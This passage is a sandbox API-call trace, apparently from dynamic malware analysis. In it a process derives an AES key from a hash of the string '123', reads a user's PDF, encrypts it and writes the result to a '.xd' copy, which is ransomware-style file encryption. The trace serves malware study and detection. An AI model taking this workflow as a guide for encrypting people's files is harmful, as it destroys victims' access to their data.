wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629490, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.445] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.445] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.446] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.446] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216f0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0070.446] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0070.446] CryptHashData (hHash=0x164c8f0, pbData=0x1629330, dwDataLen=0x3, dwFlags=0x1) returned 1 [0070.446] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.446] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.446] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.446] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.446] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.446] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.446] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.446] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0070.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621720, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0070.447] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0070.447] CryptDeriveKey (in: hProv=0x17aa670, Algid=0x6610, hBaseData=0x164c8f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164ca30) returned 1 [0070.447] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.447] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.447] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.447] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.447] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.447] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.447] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0070.447] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0070.447] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0070.447] CryptDestroyHash (hHash=0x164c8f0) returned 1 [0070.447] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.447] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.447] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.447] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.447] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.448] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\h2tfiviz9b.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0070.448] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.448] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0070.448] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.448] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.448] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.448] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0070.448] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\h2tfiviz9b.pdf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0070.448] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.449] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.449] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.449] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.450] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0070.450] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0xca19, lpOverlapped=0x0) returned 1 [0070.452] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0070.454] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.455] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.455] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.455] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0070.455] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.455] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.455] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0070.455] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.455] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0070.455] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.455] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.455] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.455] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0070.455] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0070.456] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0070.456] CryptGetKeyParam (in: hKey=0x164ca30, dwParam=0x7, pbData=0x16293f0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16293f0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0070.456] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.456] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.456] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.456] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.458] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.458] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.459] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.459] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.459] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.459] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.459] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.459] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.459] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.459] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.459] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.459] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.460] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.460] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.460] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xca19, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xca20) returned 1 [0070.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.460] CharLowerBuffW (in: lpsz="byte[51745]", cchLength=0xb | out: lpsz="byte[51745]") returned 0xb [0070.461] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.461] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.461] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.462] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.462] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.462] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.462] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e0b20*, pdwDataLen=0x130e618*=0xca19, dwBufLen=0xca20 | out: pbData=0x17e0b20*, pdwDataLen=0x130e618*=0xca20) returned 1 [0070.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.462] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.462] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.462] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.462] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.463] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.463] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.463] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.463] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.463] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.463] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.463] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.465] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.465] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.465] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.465] WriteFile (in: hFile=0x2ac, lpBuffer=0x17aedd8*, nNumberOfBytesToWrite=0xca20, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesWritten=0x130f01c*=0xca20, lpOverlapped=0x0) returned 1 [0070.466] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.466] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.466] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0070.466] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.466] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.466] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0070.466] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621360, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0070.467] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0070.467] CryptDestroyKey (hKey=0x164ca30) returned 1 [0070.467] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.467] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 